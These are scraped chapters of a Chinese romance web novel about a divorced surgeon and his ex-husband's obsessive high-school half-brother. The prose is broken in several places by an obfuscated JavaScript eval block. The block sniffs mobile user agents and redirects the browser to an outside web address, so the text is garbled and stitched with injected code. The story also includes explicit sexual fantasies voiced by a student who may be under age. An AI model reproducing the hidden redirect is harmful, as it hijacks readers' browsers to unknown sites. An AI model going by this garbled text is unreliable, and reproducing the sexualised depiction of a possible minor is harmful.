丞弋说,“许酌哥,喜欢你不会耽误我的学习,相反,我会因为喜欢你而想让自己变得更加优秀。” 许酌笑,“这样啊,那我们小弋真厉害。” 他晃了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说完,他用了好大的忍耐力才没把许酌的手握得更紧。 而是慢慢放回了方向盘上。 许酌把车子开离路边,在一个岔路口上了高架。 吃过晚饭,许酌把丞弋送回学校。 丞弋解开安全带准备下车时,许酌提醒他,“回去好好休息,不要熬夜,平时吃饭也要多注意营养均衡,再有不舒服直接给我打电话。” 丞弋乖乖点头,“好的许酌哥,我记住了。” 许酌嗯了声,“那你快回去吧,看你进去我再走。” 丞弋解开安全带,但没有开门下车,仍旧目光灼灼看着许酌,“许酌哥,你可以抱我一下么?” 许酌拒绝得很干脆,“不可以,大哥哥不可以误导你这个刚表过白的高中生。” 丞弋有些遗憾,但很快又笑起来,“那下次再抱吧。” 许酌没应这句话,只摆摆手,“好了,快回去吧。” 丞弋这才打开车门下车,“那许酌哥回去慢点开,拜拜。” “知道了。”许酌跟他挥手,“拜拜。” 丞弋关上车门,转身往校门口走了。 等他走进校门,许酌长长松了口气,这才启动车子驶离校门口。 而他刚开上主路,消失在校门口的丞弋又慢慢走了出来。 他被阴影笼罩着,沉黑的目光眨也不眨地望着白色车辆驶离的方向。 唇角慢慢上扬,勾出一个愉悦又期待的笑。 明天见啊,许酌哥。 4. 第 4 章 04 同在市中心,丞弋的学校距离许酌住的位置并不远,十几分钟就到了。 许酌现在住的房子是一套小公寓,离医院很近,上下班很方便。 房子交付的时候是毛坯,所以许酌在装修的时候特意让工人把水管改到门口的位置做成卫生间。 这样一来,就方便他进了门就可以先到卫生间洗个澡。 而他之所以会有这种一进门就必须先洗澡的习惯,当然也是他们家的老传统了。 因为爸妈和爷爷都是医生,又都有坚持不把医院的细菌带回家里的原则。 所以就有了进门必须先洗漱的规矩。 这套规矩许酌严格执行了很多年,后来还无意间传染给了丞敛.......想到丞敛,许酌的情绪忽然又低落了下来。 “你的世界就只有你的病人!你的手术!那我呢!我就活该一回到家就只能面对空荡荡的房子是么!” “别人结个婚有热饭有拥抱!我呢?我有什么?” “许酌!我不奢求你像其他人一样做好饭等我回来!但最起码你要让我看到你吧!” “如果你不能为我做出改变,那我.......” “我们离婚吧。” “许酌!这是你说的!你别后悔!” 洗好澡,换上干净的睡衣,许酌去厨房倒了杯温水喝。 喝完水,他去书房打开电脑准备继续写没完成的论文。 可盯着文档看了好一会,他愣是一个字都写不出来。 他没为难自己,仰进椅背里放空自己。 思绪却不由自主飘到丞敛的那句话上。 ——许酌!你别后悔! 后悔么? 许酌问自己。 说实话,提出离婚他是不后悔的。 毕竟丞敛的变化他全都看在了眼里。 从恋爱期间的无条件支持,到结婚后的百般埋怨。 他都知道。 但他没办法。 他的工作性质不是他说了算的。 他已经尽量用空闲时间来弥补丞敛了。 可还是不够。 丞敛的心已经变了,他需要的不再是一个感情契合的男朋友。 而是一个温柔贤惠的老婆。 还是那种没有工作只能在家全身心依赖他的老婆。 许酌做不到。 他本身就不贤惠不说。 而且他很喜欢心外科的工作。 梦想也是成为一名优秀的心外科主刀医生。 可结了婚的丞敛一再劝说他放弃梦想。 两个人的想法已经背道而驰,许酌只好放弃丞敛。 他不后悔这个决定,只是...... 只是夜深人静的时候,他还是有些难过。 毕竟那是将近七年的感情......自然不是说放下就能放下的。 这时,桌上的手机忽然嗡声震动了起来。 许酌条件反射急忙拿起来,看到屏幕上显示着丞弋的名字。 担心丞弋忽然有什么不舒服,许酌赶紧接听,“喂小弋?” 电话那边没说话。 安安静静的。 许酌更担心了,“小弋?” “许酌哥。”电话那边终于响起丞弋的声音,但他没回应许酌的问题,而是问他,“你怎么了?” 许酌愣了下,随即才后知后觉地反应过来自己好像哭了。 许酌觉得有些丢人,抹掉眼泪又清了清嗓子说,“我没事,刚才喝水呛到了。” 担心这小孩继续追问,他赶紧移开话题,“你这么晚打电话是哪里不舒服么?” 丞弋说,“我没事,就是我的饭卡好像丢许酌哥车上了。” 许酌起身说,“那我去找找,找到给你送过去。” “不用。”丞弋说,“我今天不用饭卡,许酌哥别麻烦了,我就是跟你说一声。” 许酌就又坐了回去,“行,那......” 许酌想说明天给他送过去的。 但想到明天的排班表,就改口说,“我明天可能没时间给你送,这样吧,我明天一早让跑腿给你送过去行么?” 丞弋说,“不用,我明天去医院找许酌哥拿就好。” 他给自己找了个很好的借口,“正好我要去医院附近的图书馆买习题。” 许酌顿了下,没直接答应。 但安静几秒后,他还是应声说,“好,那你明天到了医院给我打电话。” 停顿是因为他觉得最近还是不要和丞弋见面的好,以免会加重少年人心里那无名的喜欢。 又答应是许酌想起他刚答应过丞弋了,不会不理他。 而且,他也确实有义务把丞弋从错误的感情里引导出来。 丞弋察觉到许酌的停顿,也知道他在犹豫什么。 但没在意。 他全部的注意力都集中在许酌那带着哭腔的鼻音里。 他嗯了声,但没说结束语。 许酌安静两秒,说,“那没事我挂啦,你也早点休息。” 丞弋没应声。 过了好几秒后才出声说,“嗯,许酌哥也早点休息,晚安。” 许酌笑,“晚安。” 情绪被打断,许酌没再任由悲伤情绪泛滥。 整理好思绪开始写论文。 另一边。 丞弋挂完电话后并没有直接回宿舍。 就那么安静站在阳台看着手里刚结束通话的屏幕。 许酌哥在哭...... 为什么哭? 为了丞敛那个傻逼么? 好烦。 丞弋打开微信,找出丞敛的对话框敲下一段字给他发了过去:[你怎么还不去死] 丞敛像是习惯了丞弋时不时发疯的恶言恶语,给他回:[滚] 丞弋没回了,收了手机转身进了卫生间。 几分钟出来后,嘴角处多了一片殷红色。 宿舍的两个室友看到,但没多问。 丞弋性格古怪,室友没事都不敢招惹他。 ......... 次日,许酌正常去上班。 刚到办公室,就见岑嘉祯已经占据一个电脑在写病历了。 他身边围着三个实习生。 周黎安和其他同事也都到了。 看见他来,岑嘉祯第一个跟他打招呼:“老师早上好!” 许酌笑着回应,“早上好。” 周黎安也看着他,“师弟你来的正好,我点咖啡呢,给你来一杯不加糖拿铁?” “不了师兄。”许酌举了举手里的保温杯,“我在家自己做了。” 周黎安盯着他手里的咖啡,意味不明说,“什么时候师弟也给我带一杯你做的咖啡啊。” 许酌还没说话,电脑前的岑嘉祯也跟着凑热闹:“我也要!” 周黎安看岑嘉祯一眼,眼底带着不易察觉的沉。 许酌走过去,垂眼看了眼岑嘉祯的电脑屏幕,说,“你还是先把病历写好吧,这写的都是什么。” 这话如果是其他带教老师说,岑嘉祯早就开始在心里回击了。 没办法,一分钱一分货。 三千的工资只能写成这样。 毕竟便宜没好货。 但这话是许酌说的,岑嘉祯就一点叛逆也没有,还虚心请教,“怎么了老师?是哪里写错了么?” 许酌脱下外套挂在衣架上,说,“主诉太复杂了,再简单一点。” 岑嘉祯立即修改,然后问许酌:“这样可以么?” 许酌看了眼,点头,“可以。” 又问,“你快写完了没?写完我们要去查房了。” 岑嘉祯立即说:“马上!一分钟就好!” 许酌和周黎安在不同的组,病人也都不同。 两个组除了大查房的时候会和两个主任一起查,其它时候都是各查各的病人。 许酌习惯性从重症监护室开始查。 监护室三床的老奶奶昨天调整过用药后,今天情况明显好了很多。 许酌看了下老人家昨天晚上的血氧饱和,对比之前正常了不少,手心的湿冷也不见了。 许酌放下心,跟护士说,“你等下给老人家抽个血气看一下,没问题的话就可以拔管了。” 护士点头,“好的许医生。” 出了监护室,许酌又带着岑嘉祯和三个实习生去了普通病房。 普通病房的病人都很喜欢许酌。 毕竟现在已经很少见会温声细语跟你说话、且耐心回答你问题的医生了。 见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207388|165798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许酌来查房,几床的病人一个比一个热情地跟他打招呼。 有个阿姨还偷偷问许酌有没有成家。 没成家的话她刚好有个刚进银行工作的外甥女可以介绍给他。 许酌笑笑婉拒,说自己已经成家了。 那阿姨深感遗憾,叹着气说好医生果然都会被人提前抢走。 普通病房的病人基本都脱离危险期了,恢复的比较好的甚至都可以安排出院了。 但为了不让岑嘉祯他们白跑一趟,许酌还是在查房期间抽问了几个问题。 岑嘉祯的临床知识很充分,问的问题都能答上来。 而且昨天明显恶补过心电图的知识点了,几个病人的心电反应他都说的非常准确。 几个实习生就差点意思了。 不过许酌也没凶他们,只让他们回去多看看相关病例。 查房结束,许酌去了门诊。 今天该他出普通门诊,岑嘉祯跟在身边学习。 到了诊室还没坐下,口袋里的手机就响了。 拿出来一看,是丞弋。 许酌还记得丞弋要来拿饭卡的事,接听,“喂,小弋,你是到了么?” 岑嘉祯坐下的动作一顿,看着许酌的手机。 “还没到。”丞弋的声音从电话那边传过来,但有些闷,“但我已经在过来的路上了,许酌哥你在哪里?” 许酌没注意到丞弋的声线,只是一边示意岑嘉祯开始叫号,一边说,“我上午都在门诊,你直接到门诊来找我吧。” 丞弋应声,“好,那待会见了,许酌哥。” 许酌本以为丞弋会来的很快,结果他一个上午都没再接到丞弋的电话。 直到上午的门诊结束,他才在诊室门口看到等在那里的丞弋,不由得愣了一下。 丞弋今天没穿校服,只穿了一身简单的黑色牛仔外套搭配着简单的白色T恤。 明明是一身再简单不过的搭配,但还是因为他突出的身高以及优越的长相而显出几分青春的帅气。 “许酌哥。”丞弋起身朝他走过来,喊他时脸上挂着温顺的笑意,看也没看他身后的岑嘉祯。 许酌眨了下眼睛,“你什么时候来的?怎么没给我打电话?” 丞弋乖巧懂事的模样,“我看许酌哥在忙,就没打电话吵你。” 许酌看着他的嘴角,“嘴角怎么了?” 刚才离得远没太注意看,此时离得近了,许酌才看见丞弋嘴角挂着一片青紫色。 其中还有已经凝固的血痂。 丞弋抬手挡了下,言辞闪烁,“没事,昨天洗澡的时候不小心摔了一下。” 又赶紧递出怀里的袋子,“对了许酌哥,你还没吃饭吧,我来的路上顺便给你带了饭。” 岑嘉祯嘴角微抽。 以前他总是很好奇为什么女生一眼就能分辨出谁是绿茶。 现在他总算知道了。 有些人根本就不用费力分辨,他往那一站就充满了茶香味。 这么冷的天,这个弟弟穿的那么少来显示自己的帅就不说了。 他还故意等在这里。 又故意不戴口罩露出自己受伤的样子。 还用那么拙劣的借口做掩饰, 最后还用恰到好处的乖巧来惹人心疼。 更更可恶的是!他跟许老师说话的声音简直夹的要死! 这一套小连招打下来,岑嘉祯是真想给他拍手鼓掌了。 这是高手。 这是真高手。 岑嘉祯非常合理地怀疑他脸上的伤说不定就是他自己弄的。 旁观者看的明明白白,当局者的许酌自然也看穿了丞弋那拙劣的借口。 但不同的是,许酌并不认为丞弋是在卖弄绿茶手段,只是有些心疼他的懂事。 这孩子肯定是不想让自己担心所以才什么都不说的。 许酌轻叹了口气,跟岑嘉祯说,“你先吃食堂吃饭吧。” 岑嘉祯想说什么,但抿抿嘴还是什么都没说。 说白了,他现在只是个清澈愚蠢的规培生。 没立场也没身份去提醒许酌什么。 等岑嘉祯走后,许酌这才跟丞弋说,“跟我过来。” 丞弋抱着保温袋,亦步亦趋跟着许酌身后。 神色愉快。 5. 第 5 章 05 许酌带丞弋来了办公室。 办公室这个时候没人。 其他人要么去吃饭了,要么还在台上。 许酌拉来一个椅子让丞弋坐。 丞弋乖乖坐下,目光还黏在许酌身上。 许酌拿一次性杯子接了被热水放到丞弋面前,然后才落座在他身边。 “嘴角到底怎么回事?”许酌温声问,“学校有人欺负你么?” 丞弋张了张口,还没发出声音,就听许酌又说,“小弋,我希望你是诚实的。” 丞弋抿唇低头,声音缓慢,“昨天跟室友打架了。” 许酌蹙眉,“为什么打架?” 丞弋偏着头,“他们不喜欢我。” 他压低声音又说一遍,“没人喜欢我。” 这两句话算不上打架的原因。 但许酌还是猜了到丞弋和人打架的原因。 大概又被人议论是小三的儿子了。 丞家家世不错。 虽然算不上顶豪,但好歹也是有上市公司企业的资产级别。 这种家庭一旦冒出个私生子,那必然会成为那个圈子里茶余饭后的谈资。 加上丞父没有对丞弋施加任何保护,就导致他不管是跟着丞父出席各种宴会,还是在学校里,时常会被人议论身份问题。 许酌记得他和丞敛订婚那天,丞弋还因为这件事和一个同龄少爷打了起来。 那天丞父气急,非要押着丞弋去给别人道歉。 最后被许酌劝住。 许酌说丞弋没有错,用不着去道歉。 虽然丞父很遗憾大儿子娶的是个男人。 但因为许酌的家世以及他自身各方面条件都很优秀。 所以丞父对他还算喜欢的。 看在他的面子,丞父那次没有跟丞弋计较。 可即便如此,十五岁的丞弋还是躲在许酌身后偷偷掉了好几滴眼泪。 许酌记得那天他安慰了丞弋很久。 久到丞敛都忍不住沉脸说了句,“你理他干什么?你没看出他是装的么?” 许酌觉得丞敛对丞弋的偏见有些大。 一个十五岁的孩子有什么好跟他这个外人装的。 他自然没把丞敛那句明显带着不高兴的话听进去。 而现在,许酌看着丞弋那张黯然受伤的脸,忽然觉得这孩子长这么大真的很不容易。 “小弋。”许酌声音温柔,“你的出身不是你能选择的,当然也不是你的错,所以你不能因为别人的评价就否定了自己的存在。” “而且,别人的喜欢也没有那么重要,你保持做你自己就好。” 丞弋低着头,“可我也想被人喜欢。” 许酌揉了揉他的后脑勺,下意识就要说‘我喜欢你啊’。 话到了嘴边突然想到什么,就换成,“会有的,我们小弋又高又帅,以后会有很多女孩子喜欢你的。” 丞弋抬头,缓缓上撩的眼皮露出一双黑白分明的眼瞳,如深渊般的黑眸倒映着许酌的身影。 像是把他整个人都锁在了里面。 “我说的是.......”丞弋说,声线缓慢,“我想被许酌哥喜欢。” 少年看过来的视线带着一种让人难以抵抗的灼热,许酌眼底颤了一下,但没有躲开,仍旧笑意温柔,“你许酌哥一直很喜欢你这个弟弟啊。” 他有意强调他们的身份,也试图让丞弋理解他对自己的那份喜欢也出自一个弟弟对哥哥的喜欢。 丞弋听出来,但又被他自动过滤掉。 以至于许酌一句话落到他耳朵里,就只剩——许酌哥喜欢你啊。 大脑接受到这个信号的下一秒,就有强烈的兴奋如海浪一般澎湃了起来。 丞弋难掩兴奋,目光灼灼,“那......许酌哥可以抱我一下么?” 少年眼里蕴满了期待的热火。 许酌想忽视都难。 他有些怀疑自己刚才那句话是不是没有表达清楚,不然这孩子怎么会是这个表情? 为了不让丞弋继续多想,许酌点着他的额头干脆拒绝,“不可以。” 丞弋露出委屈的神色。 许酌装看不见,起身去柜子里拿了化瘀的药膏和棉签。 回到丞弋身前,他一边拧开药膏一边说,“抬头,我给你抹点药,这样伤口会愈合的快一点。” 丞弋乖乖抬头,将那张仍带着委屈神色的脸毫无保留坦露在许酌眼前。 许酌用棉签蘸取药膏,取好俯身时,他蓦地顿在丞弋看过来的视线里。 或是是角度的原因,丞弋这样抬脸看过来就显得他半垂的视线格外可怜。 也更加直白。 许酌甚至都不需要仔细去看,就在那双黝黑的眼底看到一片毫无遮掩的少年情愫。 而那片情愫的正中心,恰好倒映着他的身影。 这孩子........ 许酌无声叹了口气,躲着他的视线给他上药。 丞弋目光黏稠,一寸寸描绘着许酌的脸,接着又落到他唇边的那只手上,委屈的嘴角一点点愉悦起来。 许酌哥的手在他一侧头就能咬住的位置。 好近。 而且好香。 许酌哥哪里是在给他上药,分明是在勾引他吧。 那他现在是不是可以直接把许酌哥吃掉了。 丞弋满脑子疯狂,手上也克制不住地去扶住许酌的腰 掐住的一瞬间,丞弋能明显感受到掌心下的腰身轻轻颤了一下。 所以下一秒,他就很迅速地松开了许酌。 然后冠冕堂皇说,“许酌哥站近一点,这样腰不会累。” 因为丞弋刚才并着腿,所以许酌只能站在他膝盖前的地面位置。 对于社交来说,那是个很安全的位置。 但上药的话,那个距离就有些远了,弯身时会更需要腰部的支撑,也会更累。 现在丞弋把他拉进自己腿间,缩短了两个人之间的距离,许酌就不需要费力弯身了,只需稍稍低头就可以了。 听丞弋这样说,许酌这才松了一口气。 他刚才还以为........ 许酌为自己误会丞弋的想法而感到羞愧。 他怎么可以以一个成年人的想法去怀疑丞弋这个清澈干净的高中生。 “只是涂个药而已,还不至于累到我。”许酌调整好思绪,说丞弋,“倒是你,以后可不能随便跟人打架了,知道么?” “嗯,知道了。”丞弋应声,声音很乖,声线愉悦。 他刚才摸到许酌哥的腰了。 许酌哥的腰身很窄,很薄。 掐在手里并没多少紧实的肉感......也可能是许酌哥穿了衣服的原因。 要是许酌哥没有穿衣服就好了。 这样他的掌心就可以直接贴到许酌哥腰间的软肉上。 手指收紧,许酌哥的软肉还会从他指缝里泄出去....... 正想着,办公室的门忽然被人从外向内推开。 许酌抬头看过去,正好和推门而入的周黎安对上视线。 周黎安这个角度看不到丞弋的脸,只能看见许酌正以一个比较暧昧的距离站在一个男生腿间,眉头立即蹙了起来,“你们在干嘛?” 药膏已经抹好了。 许酌拧上药膏,转身把要放回柜子,“给叛逆少年擦药呢。” 又问周黎安,“师兄你才下手术啊。” 周黎安嗯了一声,目光落在缓缓松开转过来的丞弋身上。 丞弋也往他的方向看了一眼。 但又很快收回视线。 虽然他的视线停留的很短暂,可周黎安还是还是从那一扫而过的视线里看到了一阵浓浓的讨厌。 好像他是什么不合时宜出现的烦人苍蝇一样。 周黎安对他无礼的眼神表示无语。 但当着许酌的面他并没多说什么,只是猜测说,“这是丞敛他弟?” 跟丞敛有些像。 但不得不承认的是,他好像比丞敛要好看一些。 只是嘴角的那点伤让他看起来有点像不良少年。 还是个没什么礼貌的不良少年。 许酌嗯了一声,“他叫丞弋。” 又跟丞弋说,“小弋,这是我师兄,叫周黎安,跟人打招呼。” 周黎安。 昨天给许酌哥打电话、对许酌哥心怀不轨的人。 丞弋心里厌恶,面上听话起身,声音很乖,“周医生好。” 周黎安没应,只是有些奇怪地多看了丞弋一眼。 这孩子的态度转变也太快了。 明明刚才恨不得他原地滚出去,现在却乖得让人挑不出错。 但周黎安并没在他身上多费心思,看着许酌,“你吃过饭没?要不要一起去食堂?” 许酌婉拒,“我不去了,小弋过来的时候给我带饭了,我就在办公室吃好了。” 周黎安缓缓点了点头,又看了丞弋一眼。 但丞弋已经没再看他了,而是低头打开桌上的袋子,“周医生不介意的话可以和许酌哥一起吃,我刚好带了两人份。” 周黎安还没说话,许酌就先问他,“你吃过了?” 丞弋懂事一笑,“我等下回学校吃就行。” 两句话让周黎安心里的奇怪感加重,这小屁孩是不是针对他了? 来不及多想,周黎安就先说,“不用,我去食堂,你们吃吧。” 他还不至于跟个小屁孩抢饭吃。 说完,周黎安就换了外套出去了。 走到门口时,周黎安又忍不住回头看了眼丞弋。 丞弋还是没看他,正殷勤把拆开外卖的盖子把饭菜往许酌面前放。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207389|165798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“许酌哥,我给你带了菠萝炒饭,你尝尝味道怎么样。” 周黎安眉头蹙得更深了。 他记得许酌是挺爱吃菠萝炒饭来着。 但丞敛他弟记那么清楚干嘛? 这个年纪的孩子有那么细心么? 丞弋把带来的饭菜都打开,许酌忙了一上午的胃也随之而饿了起来。 他看着面前三份菜,油面筋炒素,红烧肉,清炒莴笋。 有些意外,都是自己爱吃的。 许酌开心之余说他,“下次过来别给我带饭了,钱留着你自己花。” 丞弋拆开筷子递给许酌,“这点菜花不了多少钱的。” 许酌接过筷子,坚持,“那也省着点花,你上了大学后花钱的地方多着呢。” 丞弋没明白,“上大学要花什么钱?” 许酌继续引导,“追喜欢的女孩子啊,谈恋爱啊,这些都要花钱啊。” 丞弋不受他干扰,淡笑着说,“许酌哥放心吧,追你的钱以及后面谈恋爱和将来娶你的彩礼我都已经存好了。” 许酌哭笑不得,“这位小朋友,你是不是有点过于自信了啊?” 丞弋认真,“老师说过,机会只留给有准备的人。” 他不止提前攒好了钱,还提前学了很多关于做|爱的知识点。 以及用各种姿势时要注意的点。 但这句话他不敢说。 他怕许酌哥会觉得他恶心,还会害怕满身欲|望的他。 那样的话,许酌哥怕是真的要和他保持距离了。 可他不允许许酌哥再离开他。 也不允许许酌哥再投入别人的怀抱。 他想要许酌哥。 也会得到许酌哥。 许酌哥,你期待么? 我很期待呢。 许酌顿时有些无言以对,“老师教你这句话不是用在这里的,是让你好好准备迎接高考。” 丞弋说,“都一样,我都有准备。” 担心许酌还要继续说什么推开他的话,丞弋又赶紧说,“先吃饭吧许酌哥,等下凉了。” 见丞弋有几分固执,许酌忽然有了种孩子在青春期闹叛逆的烦恼。 但转念一想,忽然又觉得他好像不需要提前焦虑什么。 毕竟高中生的喜欢能维持多久。 说不定等丞弋上了大学,遇到更好的适龄女孩子,他自己就先移情别恋了。 想通这一点,许酌从昨天就提起来的心这才缓缓放下,“行吧,你知道什么是最重要的就行。” 丞弋乖笑,“放心吧许酌哥,我知道的。” 许酌哥是最重要的。 重于一切。 吃完饭,丞弋收拾好饭盒垃圾准备起身离开,“那许酌哥你补个午觉吧,我先走了。” 许酌喊住他,“等一下。” 丞弋看他。 许酌去外套口袋里拿来丞弋丢在他车里的饭卡,“饭卡都不知道拿啦。” 丞弋忘了。 饭卡根本不重要,丢了可以补。 他只是想来见许酌而已,自然早就忘了这一茬。 但许酌已经把饭卡递到他面前了,他还是笑着接过,“谢谢许酌哥,我都忘记了。” 许酌温和一笑,“没事,走吧,我送你下去。” 丞弋乖巧,“不用了许酌哥,你快去休息吧,我自己下去就行了。” 许酌心想丞弋也不是什么都不懂的小孩子了,也没坚持,“行,那你到......” 许酌话音一顿,想起什么问,“你回哪里?回学校么?” 丞弋神色黯然下来,“嗯,回学校。” 许酌缓缓点了点头,“好,那你到了学校给我发个消息。” 丞弋又笑起来,只是笑意有些勉强,“嗯,那我走了,许酌哥拜拜。” 许酌跟他说了拜拜。 丞弋转身往门口走。 许酌看着他孤零零的背影,忽然又喊住他,“小弋。” 丞弋回头,“嗯?” 许酌抿唇说,“你要不嫌远的话,要不要搬到我这里来住?” 宿舍是个很重要的学习环境。 如果室友关系不好,那丞弋学习的效率也会大打折扣。 而高三下半年又是个分秒必争的重要阶段。 许酌没办法改变别人对丞弋的看法。 但给他一个安静的学习环境还是可以做到的。 丞弋眼睛亮了一下,随即又暗下去,“不了,那太打扰许酌哥了。” 许酌忽然有些欣慰。 孩子虽然有些叛逆,但该懂事的时候还是非常懂事的。 于是许酌心下更软了,温笑说,“不打扰的,反正我平时很少回去的。” 担心丞弋还会拒绝,许酌给他找了个台阶,“你搬过去的话正好可以帮我照顾一下家里的花草绿植。” 6. 第 6 章 06 拿到许酌家地址的当晚,丞弋就拖着行李箱搬了过来。 彼时许酌正在手术室。 他下午有两台手术,两台手术结束后已经是晚上八点了。 出了手术室,许酌的老师一边摘口罩一边问他最近忙不忙得过来。 许酌的老师叫崔玉知,人很年轻,今年才四十三岁。 是正高级别里最年轻的。 而她最厉害的地方并不在于年纪轻轻就坐到了正高的位置。 而在于她是心外科这几年成长最快的女医生。 要知道,外科里的女医生是很少见的。 因为外科手术的时间比较长,很多男医生都坚持不住。 更何况是体质本就没那么强的女医生。 但崔玉知不仅坚持下来了。 而且还成了心脏科远近闻名的专家医师。 许酌对她是十分钦佩的。 听见她问话,态度恭敬回答,“还好,能忙得过来。” 崔玉知点了点头,“你要忙不过来就跟我说,我把那几个学生分给别人带。” 许酌点头,“好,实在忙不过来的时候我会跟老师说的。” 崔玉知洗好手,一边抽纸擦水一边目光关怀看他,“之前一直没来得及问你,你怎么突然离婚了?” 许酌扬唇一笑,玩笑似的说,“老师你也太不关心我了吧?整个医院都知道我一周前就办好离婚手续了,你现在才问我。” 崔玉知听他这语气就知道他不愿意多说,也不继续追问了。 小幅度很轻地叹了下气,问了别的,“那你之后什么打算?” 许酌淡然一笑,“没什么打算啊,就继续上班,然后再写几篇高质量论文拿奖金。” 崔玉知看着他,带着点语重心长的关怀,“阿酌啊,作为医生有上进心是好事,但老师还是想建议你最好还是分一部分时间来再给自己找个伴,做医生已经够辛苦了,有个知冷知热的伴日子才会好过一点。” 许酌哭笑不得,“崔老师,你怎么跟我妈用一样的话术。” 崔玉知说,“说明我跟师姐都是在认真为你考虑,你不要嬉皮笑脸。” 许酌的母亲比崔玉知大好几届,而且还是和她主攻方向完全不同的妇产科。 但因为许酌的母亲在妇产科久负盛名,又和崔玉知出自同一所医科大学。 所以崔玉知提起她还是要尊称一声师姐的。 许酌知道老师是为他好,但许酌还是那套打发他妈妈的说辞,“再说吧老师,我这么忙也不一定有人愿意跟我知冷知热。” 崔玉知思索着说,“不然你在咱们医院找一个,这样两个人也能相互理解下。” 许酌安静两秒,笑着问崔玉知,“老师,你是不是已经给我物色好对象了啊?” 崔玉知笑了下,“还真是什么都瞒不住你。” 许酌问她,“所以老师要给我介绍谁?” 崔玉知也不跟他绕弯子了,直接说,“神外副主任,余凯睿,说是喜欢你很久了,但一直不好意思来找你,托我来问问你的意思。” 神外和心外还是有本质区别的。 一个主脑,一个主心。 但神外副主任许酌还是知道的,之前因为交接病人接触过几次,偶尔在食堂碰到也一起吃过几次饭。 余主任一表人才,年轻有为。 三十五就已经评上神外副高了。 要知道,神外科对手术的操作要求极其严格。 因为大脑的神经系统是既复杂又精细,容错率又低。 因此也导致神经外科对医师的综合要求也格外高。 余主任能通过重重考核评上副高,可见他的厉害之处。 但.......许酌现在没有想跟谁在一起的想法。 却又不好直接拒绝。 毕竟他老师也是难得跟他开一次这种口。 而且他知道,老师和余副主任是有点亲戚关系在的。 许酌拒绝不了,只好说,“那老师把余主任微信推给我吧,我等下加一下他。” 余主任大概在上台做手术,许酌发了好友申请但没得到回复。 这样也好,省的大晚上还要应付聊天。 许酌换好衣服直接回家了。 刚出电梯门口,他就愣住了,“小弋?你怎么等在门口?” 丞弋坐在行李箱上,膝盖上铺着习题,埋头写的很认真。 他个子高,这样坐在那里会显得他很委屈。 听见他的声音,丞弋顿住笔,从习题里抬头。 丞弋穿得单薄,身上还是白天那套衣服。 但倒春寒的晚上还是透着冷的。 此时丞弋迎着楼道的光抬起头,许酌能清楚看到他冻得发红的鼻尖和泛红的耳廓。 配上他嘴角的伤,就更显可怜。 许酌顿时有些怀疑自己,“我没告诉你密码么?” 丞弋收好笔和习题,从行李箱上起身站好,“告诉了,但许酌哥不在家,我没敢进去。” 孩子太懂事就这一点不好。 什么都要多交代一句。 只少交代了让他直接解锁进门这一句话,这孩子就傻乎乎在灌满冷风的楼道等了那么久。 许酌叹了口气,一边快步走过来一边说他,“傻不傻啊你,我给你密码就是一种默许,你还等我干什么?我要是很晚回来你怎么办?一直等着么?” “不会的。”丞弋把随手放在地上的黑色书包背到肩上,又把行李箱从门板前拉起来,让出位置让许酌用指纹解锁,“我会在十点钟给许酌哥打电话确认的。” 许酌在智能锁解锁的音效中抬眼看丞弋,“为什么是十点?” 丞弋晃了晃手里的习题册,“因为我十点会写完数学作业。” 许酌拿他没办法,拉开门,“先进去吧。” 玄关处装的是感应灯,门一打开就亮起了暖色的光。 丞弋推着行李箱走进去,目光隐晦又兴奋地四处打量。 许酌哥的家很干净,空气里有浅淡的清香。 和许酌哥身上的味道差不多。 他很喜欢。 “给,你今天先穿这双拖鞋吧。”许酌打开鞋柜,拿出一双蓝色的棉质拖鞋。 丞弋看着那双拖鞋。 不像新的。 他怀疑是丞敛那双臭脚穿过的,他有些嫌弃。 这时,许酌就一边换上他自己的鞋子,一边说,“这双拖鞋买大了,我穿过一次不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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浴室隔间有些小,但也足够他和许酌哥在里面做|爱了。 盥洗台的位置不大,没有让许酌哥坐的位置。 不过他可以直接把许酌哥抱起来抵在门板上。 这样边亲边脱衣服就更加顺理成章了。 许酌哥喜欢穿T恤,他不会把许酌哥的衣服全部脱掉。 他会让许酌哥咬着自己的衣摆。 然后露出那雪白的胸膛。 他会低头去亲许酌哥身上的粉红。 亲到他浑身颤抖,亲到他哭着说不要了,他也不会停下。 他要一直亲到许酌哥央求着他进来,那样他才会停下恶劣的舔舐.......丞弋低头,看着蓬□□来的热火,脸色冷得吓人。 所以他什么时候才能和许酌哥做|爱啊....... 他真的好想跟许酌哥做|爱啊。 好想好想好想。 想得快要爆炸了。 7. 第 7 章 07 许酌煮好热姜汤见丞弋还没出来,就先回他的卧室里洗澡了。 